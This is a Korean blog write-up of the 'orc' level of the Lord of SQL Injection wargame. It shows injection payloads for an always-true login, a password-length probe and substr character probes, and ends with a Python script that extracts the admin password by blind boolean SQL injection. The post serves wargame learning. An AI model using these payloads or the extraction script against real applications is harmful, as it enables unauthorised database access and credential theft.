Bace

LOS - orc 본문

LOS

LOS - orc

Bace 2020. 1. 15. 14:43

문제는 다음과 같다.

GET으로 pw를 받는데, pw 값과 GET으로 넘긴 pw 값이 일치해야 풀리는 것 같다.

일단 pw에 'or'1# 으로 보내보았다.

Hello admin이라고 뜬다.

pw값과 일치하는지 아닌지를 Hello admin 문자열을 통해 확인하는 것 같다.

하지만 풀리지 않는 것으로 보아 정확한 pw 값을 넣어주어야 풀리는 것 같다.

 

일단 pw 길이를 구하기 위해 ?pw=' or id='admin' and length(pw)=숫자# 을 보내보았다.

length(pw) 값에 8을 넣을때 Hello admin이 나온다.

pw 길이가 8인것 같다.

 

이제 pw 값을 첫번째 자리부터 알아내기 위해 ?pw=' or id='admin' and substr(pw,1,1)=숫자 or 영어 를 보내보았다.

1,1에 0을 넣었을 때 결과값으로 Hello admin이라고 뜬다.

첫번째 자리는 0인것 같다.

 

근데 8자리까지 손으로 다 구하기에는 힘드므로 코드를 짜서 해결하였다.

import requests

answer = ''

for i in range(1,9):
	for j in range(33,128):
		url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{},1))%20=%20{}%20--%20-".format(i,j)
		cookies = {'PHPSESSID':'자신의 PHPSESSID'}
		response = requests.get(url=url,cookies=cookies)
		if response.text.find("Hello admin") != -1:
			answer += chr(j)
			print 'Found {}st letter'.format(i)
			break
		print '{}st letter {}th '.format(i,j)

print answer 

 

코드를 돌리고 기다리면 pw값이 나온다.

 

solve

'LOS' 카테고리의 다른 글

LOS - darkelf  (0) 2020.01.17
LOS - wolfman  (0) 2020.01.17
LOS - goblin  (0) 2020.01.10
LOS - cobolt  (0) 2020.01.10
LOS - gremlin  (0) 2020.01.10